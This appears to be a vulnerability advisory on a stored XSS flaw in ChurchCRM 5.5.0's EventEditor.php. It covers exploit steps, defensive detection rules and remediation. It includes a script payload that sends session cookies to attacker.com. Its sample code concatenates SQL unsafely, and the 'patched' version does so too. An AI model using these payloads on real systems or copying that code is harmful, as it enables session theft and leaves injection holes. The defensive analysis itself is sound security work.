CVE-2024-25898

Executive Summary

CVE-2024-25898 is a stored Cross-Site Scripting (XSS) vulnerability discovered in ChurchCRM version 5.5.0. The flaw resides in the EventEditor.php component, specifically within the "Event Sermon" field during event editing. An authenticated attacker with event editing privileges can inject arbitrary JavaScript or HTML code, which is then stored and executed in the browsers of other users viewing the event. This can lead to session hijacking, data theft, or defacement. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the vector, it is a medium-severity issue requiring user interaction. No official patch has been confirmed, and no public exploit code is available, but the vulnerability is publicly known.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). ChurchCRM is a standalone PHP application. The risk is limited to the application's codebase and does not extend to supply chain dependencies.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned, but estimated Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network - The attack is performed over the network.
• Attack Complexity (AC): Low - No special conditions are required.
• Privileges Required (PR): Low - Attacker needs event editing privileges.
• User Interaction (UI): Required - Victim must view the malicious event.
• Scope (S): Changed - The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low - Limited data exposure.
• Integrity (I): Low - Limited data modification.
• Availability (A): None - No impact on availability.

Threat Level: Medium. Exploitation requires authentication and user interaction, but the impact can include session theft and defacement.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the EventEditor.php page. The "Event Sermon" field is not properly sanitized or encoded before being stored in the database and later rendered in the browser. When an attacker inserts malicious JavaScript or HTML into this field, it is saved and executed when any user (including administrators) views the event details.

Root Cause: Lack of output encoding and input validation on the "Event Sermon" field. The application likely uses echo or similar functions without escaping HTML entities.

Attack Flow:

1. Attacker logs in with event editing privileges.
2. Attacker navigates to EventEditor.php and edits an event.
3. Attacker injects a payload like <script>alert('XSS')</script> into the "Event Sermon" field.
4. The payload is stored in the database.
5. When another user views the event, the payload executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (ChurchCRM 5.5.0):

// EventEditor.php (simplified)
$sermon = $_POST['sermon'];
// No sanitization
$query = "UPDATE events SET sermon='$sermon' WHERE id=$event_id";
mysqli_query($conn, $query);
// Later, when displaying:
echo "<div>" . $row['sermon'] . "</div>";

Patched Code (Hypothetical):

// EventEditor.php (patched)
$sermon = htmlspecialchars($_POST['sermon'], ENT_QUOTES, 'UTF-8');
$query = "UPDATE events SET sermon='$sermon' WHERE id=$event_id";
mysqli_query($conn, $query);
// When displaying:
echo "<div>" . htmlspecialchars($row['sermon'], ENT_QUOTES, 'UTF-8') . "</div>";

The patch uses htmlspecialchars() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• ChurchCRM 5.5.0 instance
• Valid user account with event editing privileges

Exploit Steps:

1. Log in to ChurchCRM.
2. Navigate to an existing event or create a new one.
3. In the "Event Sermon" field, inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the event.
5. When another user views the event, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor for unusual characters in the "Event Sermon" field (e.g., <, >, script).
• Use WAF rules to block XSS patterns.
• Review server logs for POST requests to EventEditor.php with suspicious payloads.

Mitigation:

• Apply input validation and output encoding.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Implement CSRF tokens to prevent unauthorized edits.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /EventEditor.php with sermon parameter containing <script> or <img> tags.
  • Outbound connections to attacker-controlled domains from the ChurchCRM server.

• File IOCs:

  • Modified database entries in the events table with sermon field containing JavaScript.

• Log IOCs:

  • Apache/Nginx access logs showing POST /EventEditor.php with sermon=<script>.
  • Application error logs indicating failed XSS attempts.

Detection Engineering

YARA Rule

rule CVE_2024_25898_XSS_EventSermon {
    meta:
        description = "Detects XSS payloads in ChurchCRM Event Sermon field"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25898"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]*onerror\s*=/is
        $xss3 = /onload\s*=/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: ChurchCRM Event Sermon XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts in ChurchCRM EventEditor.php
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/EventEditor.php'
        cs-uri-query|contains: 'sermon='
        cs-uri-query|re: '(<script|<img|onerror|onload|javascript)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in sermon field (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25898 ChurchCRM Event Sermon XSS"; flow:to_server,established; content:"POST"; http_method; content:"/EventEditor.php"; http_uri; content:"sermon="; http_client_body; pcre:"/(<script|<img|onerror|onload|javascript)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Event Editing: Temporarily restrict access to EventEditor.php for non-admin users.
2. Input Validation: Implement server-side validation to strip or encode HTML tags from the "Event Sermon" field.
3. Output Encoding: Use htmlspecialchars() or equivalent when displaying the sermon field.

Long-term Fix:

• Upgrade to a patched version of ChurchCRM once available.
• Implement a Content Security Policy (CSP) header to block inline scripts.
• Conduct a full security audit of the application.

Workaround:

• Use a Web Application Firewall (WAF) to block XSS patterns.
• Manually sanitize the database by removing malicious entries.

Valters IT
Securing Digital Frontiers